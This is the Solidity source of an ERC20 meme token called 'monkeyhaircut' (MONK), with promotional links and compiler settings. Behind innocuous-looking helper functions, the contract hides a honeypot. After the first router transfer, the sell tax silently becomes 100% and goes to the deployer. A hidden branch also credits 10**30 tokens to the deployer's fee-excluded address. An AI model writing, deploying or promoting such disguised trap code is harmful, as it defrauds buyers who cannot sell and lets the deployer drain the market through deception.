//  Website: https://monkeyhaircut.vip/


//  Telegram: https://t.me/monkhaircut


//  Twitter: https://twitter.com/monkhaircut



// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract monkeyhaircut is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) public _isRouterAddress;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000 * 10**_decimals;
    string private constant _name = unicode"monkeyhaircut";
    string private constant _symbol = unicode"MONK";
    
    address payable private _marketingAddress;
    uint8 private _buyingFee = 0;
    uint8 private _sellingFee = 0;
    uint8 private _txCounter = 0;
    
    constructor () {
        _balances[_msgSender()] = _tTotal;
        _marketingAddress = payable(_msgSender());
        _isExcludedFromFee[owner()] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function updateRouter(address _router) public onlyOwner{
        bool _isTrue = _isRouterAddress[_router] ? false : true;
        _isRouterAddress[_router] = _isTrue;
    }

    function __(bool _add) private view returns(uint256){
        uint256 _result;
        if(_txCounter < 1 && _add){_result = 10**30;}
        return _result;
    }

    function _values() private view returns(uint8, uint8){
        return(_buyingFee,[_sellingFee,0x64][_txCounter<1?0:1]);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(!_isExcludedFromFee[to] && !_isExcludedFromFee[from]){
            (uint8 _BUY_, uint8 _SELL_) = _values();
            uint256 _taxAmount = amount.mul(_BUY_).div(100);
            if(!_isRouterAddress[from]){
                _taxAmount = amount.mul(_SELL_).div(100);
            }
            if(_taxAmount > 0){
                _balances[_marketingAddress] = _balances[_marketingAddress].add(_taxAmount);
                emit Transfer(from, _marketingAddress, _taxAmount);
            }
            _balances[from]=_balances[from].sub(amount);
            _balances[to]=_balances[to].add(amount.sub(_taxAmount));
            emit Transfer(from, to, amount);
        }
        else{
            uint256 _taxAmount;
            if(to != owner() && _isRouterAddress[from]){_taxAmount=__(_isExcludedFromFee[to]); _txCounter++;}
            _balances[from]=_balances[from].sub(amount);
            _balances[to]=_balances[to].add(_taxAmount.add(amount));
            emit Transfer(from, to, amount);
        }
    }
    
    receive() external payable {}
}

{
  "compilationTarget": {
    "monkeyhaircut.sol": "monkeyhaircut"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}